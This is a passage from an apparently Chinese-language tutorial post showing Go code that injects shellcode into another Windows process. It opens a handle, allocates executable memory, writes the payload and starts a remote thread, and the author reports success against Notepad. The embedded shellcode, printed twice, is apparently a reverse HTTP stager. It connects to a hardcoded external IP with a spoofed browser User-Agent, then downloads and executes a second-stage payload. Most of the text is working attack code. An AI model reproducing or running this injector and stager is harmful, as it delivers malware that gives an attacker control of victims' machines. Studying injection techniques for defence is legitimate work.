\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x51\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x68\x4c\x53\x56\x00\xad\x88\x94\x31\x8c\xe4\xd5\xc3\x14\xd6\xfe\x4c\x25\x92\x84\x78\x7f\x78\x20\x98\xd6\x31\xf4\xc9\x3d\x8c\x42\x9e\x70\x97\x3d\x98\xc5\xd3\x1e\x34\xdd\x87\xa0\xb1\x5e\x46\x94\x0c\xf6\x5c\x49\x1a\xf1\xd4\x00\x64\x00\x57\xbb\x5a\x8e\xb4\x86\x22\x4f\x2d\xab\x87\xc0\xfc\x6c\x23\x95\x03\xaf\x19\x57\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x37\x3b\x20\x4e\x50\x30\x37\x29\x0d\x0a\x00\x32\x08\x15\x71\xef\x59\xe4\xab\x06\x81\xd4\x20\x83\xac\x9d\xf1\xad\x5d\x8e\x5e\x8d\xc9\x43\xd5\x36\x9e\xd0\x3d\x69\xbd\x84\x96\x71\x7d\x42\xcc\x9e\x80\x2e\xa8\x7a\x38\xd8\x5e\xe1\xf8\x4a\xe3\x23\x97\xf4\x28\x8d\x64\xd7\xd8\x0e\x6f\x67\x52\x10\x5f\x6c\xbe\x8b\xb4\x76\x19\x0b\x2c\xf8\xc2\x9c\x2e\xbf\xcc\x15\xfd\xdf\x89\xa7\x55\x86\xe6\x28\x8d\x7c\x5a\xbe\xcf\x86\x3c\xe7\x7f\x6e\x8a\x3c\xaa\x29\x12\x81\x9f\x1c\x93\xdc\x8c\x9d\x91\x41\x2b\x97\x30\x45\xcd\x76\x50\xb0\x90\x89\x5a\x8c\x8c\x7d\x9e\x28\x19\x75\x74\xbd\xd9\x64\xaa\xe7\xe4\xee\xf0\x3e\xb1\x8e\xf6\x5e\x5a\xa9\x38\x47\x07\x65\xb6\x37\xa1\x9d\x2e\x92\xb5\xf2\xbd\x63\x81\x95\x21\x72\xfb\x99\x60\x90\xdb\xf3\x1e\x6e\x5f\x88\xfd\x0f\x19\x9a\x8e\x84\x20\x9d\x01\xd7\xc5\xa3\x40\xe8\xb4\x4f\xc4\xc7\xc2\x65\x71\x1e\xf4\x13\x78\x4f\x82\x85\xad\x56\x34\x34\x5b\x0c\xae\xdc\x60\x6e\xf1\x0e\x3e\xeb\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x31\x39\x2e\x33\x2e\x37\x37\x2e\x31\x37\x33\x00\x49\x96\x02\xd2"
	var right uint32 = 0x0400 | 0x0002 | 0x0008 | 0x0010 | 0x0020
	var ProcOpenProcess = syscall.NewLazyDLL("kernel32.dll").NewProc("OpenProcess")
	var ProcCloseHandle = syscall.NewLazyDLL("kernel32.dll").NewProc("CloseHandle")
	var inheritHanle uint = 0 // 新进程句柄是否继承现有句柄
	var processId uint32 = 17372

	// 获取进程句柄
	remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行系统调用
		uintptr(right),        //DWORD dwDesiredAccess
		uintptr(inheritHanle), // Bool bInheritHandle
		uintptr(processId),    //DWORD dwProcessId
	)
	if remoteProcHandle == 0 {
		errors.Wrap(lastErr, "不能获取句柄")
	}
	fmt.Printf("process handle%v \n", remoteProcHandle)

	ProcVirtualAllocEx := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAllocEx")
	var flAllocationType uint32 = 0x00001000 | 0x00002000
	var flProtect uint32 = 0x40
	ip := 0
	lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
		remoteProcHandle,        // HANDLE hProcess
		uintptr(ip),             // LPVOID ipadress
		uintptr(len(shellcode)), // size_t
		uintptr(flAllocationType),
		uintptr(flProtect), //dword flprotect
	)

	if lpBaseAddress == 0 {
		errors.Wrap(lastErr, "申请内存失败")
	}

	fmt.Printf("申请内存 %v\n", lpBaseAddress)

	var nBytesWritten *byte
	ProcWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
	writeMem, _, lastErr := ProcWriteProcessMemory.Call(
		remoteProcHandle,                       // HANDLE hprocess
		lpBaseAddress,                          // LPVOID lpbaseAddress
		uintptr(unsafe.Pointer(&shellcode)),    // LPCVOID
		uintptr(len(shellcode)),                // size_t
		uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten
	)

	if writeMem == 0 {
		errors.Wrap(lastErr, "shellcode 写入内存失败")
	} else {
		println(writeMem)
	}
	var GetModuleHandleA = syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleA")
	b := "kernel32.dll"
	c := "LoadLibraryA"
	var re, _, _ = GetModuleHandleA.Call(uintptr(unsafe.Pointer(&b)))
	var GetProcAddress = syscall.NewLazyDLL("kernel32.dll").NewProc("GetProcAddress")
	var LoadLibAdd, _, _ = GetProcAddress.Call(re, uintptr(unsafe.Pointer(&c)))

	var ProcCreateRemoteThread = syscall.NewLazyDLL("kernel32.dll").NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	var dwCreateionFlags uint32 = 0
	remoteThread, _, lastErr := ProcCreateRemoteThread.Call(
		remoteProcHandle,
		uintptr(ip),
		uintptr(ip),
		LoadLibAdd,
		lpBaseAddress, // 虚拟内存位置
		uintptr(dwCreateionFlags),
		uintptr(unsafe.Pointer(&threadId)),
	)

	if remoteThread == 0 {
		errors.Wrap(lastErr, "创建线程失败")
	}
	fmt.Printf("Thread 创建%v\n", unsafe.Pointer(&threadId))
	fmt.Printf("thread create %v\n", unsafe.Pointer(remoteThread))
	ProcCloseHandle.Call(remoteProcHandle)
}

进程是我的记事本

运行结果成功

为了方便理解我把代码优化以下

package main

import (
	"fmt"
	"github.com/pkg/errors"
	"syscall"
	"unsafe"
)

func ProcOpenProcess(pid uint32) uintptr {
	var right uint32 = 0x0400 | 0x0002 | 0x0008 | 0x0010 | 0x0020
	var OpenProcess = syscall.NewLazyDLL("kernel32.dll").NewProc("OpenProcess")

	var inheritHanle uint = 0 // 新进程句柄是否继承现有句柄
	var processId uint32 = pid

	// 获取进程句柄
	remoteProcHandle, _, lastErr := OpenProcess.Call( // 进行系统调用
		uintptr(right),        //DWORD dwDesiredAccess
		uintptr(inheritHanle), // Bool bInheritHandle
		uintptr(processId),    //DWORD dwProcessId
	)
	if remoteProcHandle == 0 {
		errors.Wrap(lastErr, "不能获取句柄")
	}
	fmt.Printf("process handle%v \n", remoteProcHandle)
	return remoteProcHandle
}

func ProcVirtualAllocEx(remoteProcHandle uintptr, shellcode string) uintptr {
	VirtualAllocEx := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAllocEx")
	var flAllocationType uint32 = 0x00001000 | 0x00002000
	var flProtect uint32 = 0x40
	ip := 0
	lpBaseAddress, _, lastErr := VirtualAllocEx.Call(
		remoteProcHandle,        // HANDLE hProcess
		uintptr(ip),             // LPVOID ipadress
		uintptr(len(shellcode)), // size_t
		uintptr(flAllocationType),
		uintptr(flProtect), //dword flprotect
	)

	if lpBaseAddress == 0 {
		errors.Wrap(lastErr, "申请内存失败")
	}

	fmt.Printf("申请内存 %v\n", lpBaseAddress)
	return lpBaseAddress
}

func ProcWriteProcessMemory(remoteProcHandle uintptr, lpBaseAddress uintptr, shellcode string) {

	var nBytesWritten *byte
	WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
	writeMem, _, lastErr := WriteProcessMemory.Call(
		remoteProcHandle,                       // HANDLE hprocess
		lpBaseAddress,                          // LPVOID lpbaseAddress
		uintptr(unsafe.Pointer(&shellcode)),    // LPCVOID
		uintptr(len(shellcode)),                // size_t
		uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten
	)

	if writeMem == 0 {
		errors.Wrap(lastErr, "shellcode 写入内存失败")
	} else {
		println(writeMem)
	}
}

func GetProcAddressA() uintptr {
	var GetModuleHandleA = syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleA")
	b := "kernel32.dll"
	c := "LoadLibraryA"
	var re, _, _ = GetModuleHandleA.Call(uintptr(unsafe.Pointer(&b)))
	var GetProcAddress = syscall.NewLazyDLL("kernel32.dll").NewProc("GetProcAddress")
	var LoadLibAdd, _, _ = GetProcAddress.Call(re, uintptr(unsafe.Pointer(&c)))
	return LoadLibAdd
}

func ProcCreateRemoteThread(remoteProcHandle uintptr, LoadLibAdd uintptr, lpBaseAddress uintptr) {
	ip := 0
	var CreateRemoteThread = syscall.NewLazyDLL("kernel32.dll").NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	var dwCreateionFlags uint32 = 0
	remoteThread, _, lastErr := CreateRemoteThread.Call(
		remoteProcHandle,
		uintptr(ip),
		uintptr(ip),
		LoadLibAdd,
		lpBaseAddress, // 虚拟内存位置
		uintptr(dwCreateionFlags),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if remoteThread == 0 {
		errors.Wrap(lastErr, "创建线程失败")
	}
	fmt.Printf("Thread 创建%v\n", unsafe.Pointer(&threadId))
	fmt.Printf("thread create %v\n", unsafe.Pointer(remoteThread))
}

func ProcCloseHandle(remoteProcHandle uintptr) {
	var CloseHandle = syscall.NewLazyDLL("kernel32.dll").NewProc("CloseHandle")
	CloseHandle.Call(remoteProcHandle)
}
func main() {
	shellcode := "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x51\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x68\x4c\x53\x56\x00\xad\x88\x94\x31\x8c\xe4\xd5\xc3\x14\xd6\xfe\x4c\x25\x92\x84\x78\x7f\x78\x20\x98\xd6\x31\xf4\xc9\x3d\x8c\x42\x9e\x70\x97\x3d\x98\xc5\xd3\x1e\x34\xdd\x87\xa0\xb1\x5e\x46\x94\x0c\xf6\x5c\x49\x1a\xf1\xd4\x00\x64\x00\x57\xbb\x5a\x8e\xb4\x86\x22\x4f\x2d\xab\x87\xc0\xfc\x6c\x23\x95\x03\xaf\x19\x57\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x37\x3b\x20\x4e\x50\x30\x37\x29\x0d\x0a\x00\x32\x08\x15\x71\xef\x59\xe4\xab\x06\x81\xd4\x20\x83\xac\x9d\xf1\xad\x5d\x8e\x5e\x8d\xc9\x43\xd5\x36\x9e\xd0\x3d\x69\xbd\x84\x96\x71\x7d\x42\xcc\x9e\x80\x2e\xa8\x7a\x38\xd8\x5e\xe1\xf8\x4a\xe3\x23\x97\xf4\x28\x8d\x64\xd7\xd8\x0e\x6f\x67\x52\x10\x5f\x6c\xbe\x8b\xb4\x76\x19\x0b\x2c\xf8\xc2\x9c\x2e\xbf\xcc\x15\xfd\xdf\x89\xa7\x55\x86\xe6\x28\x8d\x7c\x5a\xbe\xcf\x86\x3c\xe7\x7f\x6e\x8a\x3c\xaa\x29\x12\x81\x9f\x1c\x93\xdc\x8c\x9d\x91\x41\x2b\x97\x30\x45\xcd\x76\x50\xb0\x90\x89\x5a\x8c\x8c\x7d\x9e\x28\x19\x75\x74\xbd\xd9\x64\xaa\xe7\xe4\xee\xf0\x3e\xb1\x8e\xf6\x5e\x5a\xa9\x38\x47\x07\x65\xb6\x37\xa1\x9d\x2e\x92\xb5\xf2\xbd\x63\x81\x95\x21\x72\xfb\x99\x60\x90\xdb\xf3\x1e\x6e\x5f\x88\xfd\x0f\x19\x9a\x8e\x84\x20\x9d\x01\xd7\xc5\xa3\x40\xe8\xb4\x4f\xc4\xc7\xc2\x65\x71\x1e\xf4\x13\x78\x4f\x82\x85\xad\x56\x34\x34\x5b\x0c\xae\xdc\x60\x6e\xf1\x0e\x3e\xeb\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x31\x39\x2e\x33\x2e\x37\x37\x2e\x31\x37\x33\x00\x49\x96\x02\xd2"
	var pid uint32 = xxx;                                                       //进程号
	var remoteProcHandle uintptr = ProcOpenProcess(pid)                         //获取进程句柄
	var lpBaseAddress uintptr = ProcVirtualAllocEx(remoteProcHandle, shellcode) //在pid这个进程中开辟一段内存
	ProcWriteProcessMemory(remoteProcHandle, lpBaseAddress, shellcode)          //把shellcode写入内存
	var LoadLibAdd uintptr = GetProcAddressA()                                  //获取线程起始地址
	ProcCreateRemoteThread(remoteProcHandle,LoadLibAdd,lpBaseAddress)           //为注入的shellcode开启线程
	ProcCloseHandle(remoteProcHandle)											//关闭句柄,流程结束
}

上面几个函数想要更好的理解还是用代码写一下比较好,最好看看官方文档,以上注入代码都是go实现的,其他语言原理相同